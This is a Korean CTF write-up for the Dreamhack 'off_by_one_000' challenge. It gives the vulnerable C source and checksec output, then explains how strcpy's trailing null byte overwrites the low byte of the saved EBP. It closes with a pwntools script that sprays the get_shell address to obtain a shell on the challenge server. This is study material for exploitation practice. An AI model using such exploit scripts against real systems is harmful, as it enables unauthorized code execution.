off_by_one_000

A single byte past the end of the buffer is enough to shift the saved frame pointer and take control.

2026.08.18 Pwn original post

[*] ‘/Users/chaeeun/Desktop/56d3fdd7-0e11-4aee-b139-a0f1a8d967c4/off_by_one_000’ Arch:

i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
Stripped: No chaeeun@chaeeuns-MacBook-Air 56d3fdd7-0e11-4aee-b139-a0f1a8d967c4 % cat off_by_one_000.c #include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include
<string.h> char cp_name[256]; void get_shell() { system("/bin/sh"); } void alarm_handler() { puts("TIME OUT");
exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler); alarm(30); } int cpy() { char real_name[256]; strcpy(real_name, cp_name);
return 0; } int main() { initialize(); printf("Name: "); read(0, cp_name, sizeof(cp_name)); cpy(); printf("Name:
%s", cp_name); return 0; }

No excution 이랑 partial relro 가 적용되어있다. strcpy()는 C언어에서 문자열을 복사하는 함수입니다. #include <string.h> char *strcpy(char *dest, const char *src); 의미는: src 문자열을 dest 버퍼로 복사한다 보안 관점에서 위험한 이유 strcpy()는 dest 버퍼 크기를 확인하지 않 습니다. 예를 들어: char buf[8]; strcpy(buf, “AAAAAAAAAAAAAAAAAAAA”); buf는 8바이트인데 복사할 문자열은 훨씬 깁니다. 그러면 buf 뒤의 스택 영역까지 덮어버립니다. buf[8] saved rbp return address 이런 구조에서 strcpy()가 길이를 체크하지 않고 계속 복사하면 stack buffer overflow가 발생할 수 있습니다. strcpy()의 핵심 조건.

strcpy()는 다 음 조건이 맞으면 위험합니다.

  1. 목적지 버퍼 크기가 작다
  2. 복사할 문자열 길이를 공격자가 조절할 수 있다
  3. 길이 검 사가 없다 strcpy와 null byte strcpy()는 \0을 만날 때까지 복사합니다. 그래서 source 문자열 중간에 null byte가 있으 면 거기서 복사가 멈춥니다. 역시 버퍼 오버플로우 인것인가.. 참고로 %s는 문자열 끝에 \0이 있어야 정상적으로 멈춤. 요 아마 이건 off-by-one null byte overwrite 문제임. 이게 왜 생기냐면,

sizeof(cp_name)은 256이고 read()는 문자열 끝에 \0을 자동으로 붙여주지 않음. 그래서 예를 들어 우리가 A를 256 개 넣으면: cp_name = AAAAAAAAAA…AAAA 이렇게 되고 끝에 \0이 없음.

일단

(gdb) p get_shell

$2 = {<text variable, no debug info>} 0x80485db <get_shell>

32비트 i386에서 스택은 대략 이렇게 생깁니다. real_name[256] saved EBP return address real_name 바로 뒤에는 보통 saved EBP가 있습니다.

Frame pointer overflow는 return address를 직접 덮는 게 아니라, saved frame pointer, 즉 32비트에서는 saved EBP를 덮어서 실행 흐름을 바꾸는 기법입니다. 왜냐하면 off-by-one은 1바이트만 넘치기 때문에 return address까지 못 갑니다. real_name은 256바이트인데, strcpy()가 마지막 \0까지 복사하면서 257번째 바이트를 씁니다.

그래서 직접 덮이는 건 return address가 아니라: saved EBP의 하위 1바이트입니다.

from pwn import * p = remote('host8.dreamhack.games', 15546) adr = 0x80485db payload = p32(adr)*64
p.recvuntil('Name: ') p.send(payload) p.interactive()

참고로 여기서 왜 64 냐 하면,

4바이트 * 0x40번

= 4 * 64

= 256바이트 입니다.